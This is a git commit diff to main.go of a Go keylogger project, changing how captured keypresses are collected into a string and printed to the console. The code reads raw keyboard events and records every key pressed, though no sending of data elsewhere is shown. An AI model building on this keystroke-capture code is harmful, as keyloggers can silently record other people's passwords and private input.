adding a return string
This commit is contained in:
parent
580350f08d
commit
2e88f8f060
23
main.go
23
main.go
|
@ -112,14 +112,24 @@ func (k *KeyLogger) Close() error {
|
||||||
}
|
}
|
||||||
|
|
||||||
func output(input InputStream) {
|
func output(input InputStream) {
|
||||||
res := []string{}
|
var res string
|
||||||
for {
|
for {
|
||||||
if input.event.KeyString() != "" {
|
if input.event.KeyString() != "" {
|
||||||
res = append(res, input.event.KeyString())
|
res += input.event.KeyString()
|
||||||
}
|
}
|
||||||
|
fmt.Println(res)
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func join(strs ...string) string {
|
||||||
|
var sb strings.Builder
|
||||||
|
for _, str := range strs {
|
||||||
|
sb.WriteString(str)
|
||||||
|
}
|
||||||
|
return sb.String()
|
||||||
|
}
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
fmt.Println("Your keyboard input will be here: ", getKeyboard())
|
fmt.Println("Your keyboard input will be here: ", getKeyboard())
|
||||||
// TODO
|
// TODO
|
||||||
|
@ -134,18 +144,19 @@ func main() {
|
||||||
}
|
}
|
||||||
defer klog.Close()
|
defer klog.Close()
|
||||||
events := klog.Read()
|
events := klog.Read()
|
||||||
stream := InputStream{}
|
// stream := InputStream{}
|
||||||
go output(stream)
|
var b strings.Builder
|
||||||
|
|
||||||
for e := range events {
|
for e := range events {
|
||||||
switch e.Type {
|
switch e.Type {
|
||||||
|
|
||||||
case utils.EvKey:
|
case utils.EvKey:
|
||||||
if e.KeyPress() {
|
if e.KeyPress() {
|
||||||
stream.event = e
|
b.WriteString(e.KeyString())
|
||||||
}
|
}
|
||||||
|
|
||||||
break
|
break
|
||||||
|
default:
|
||||||
|
fmt.Println(b.String())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue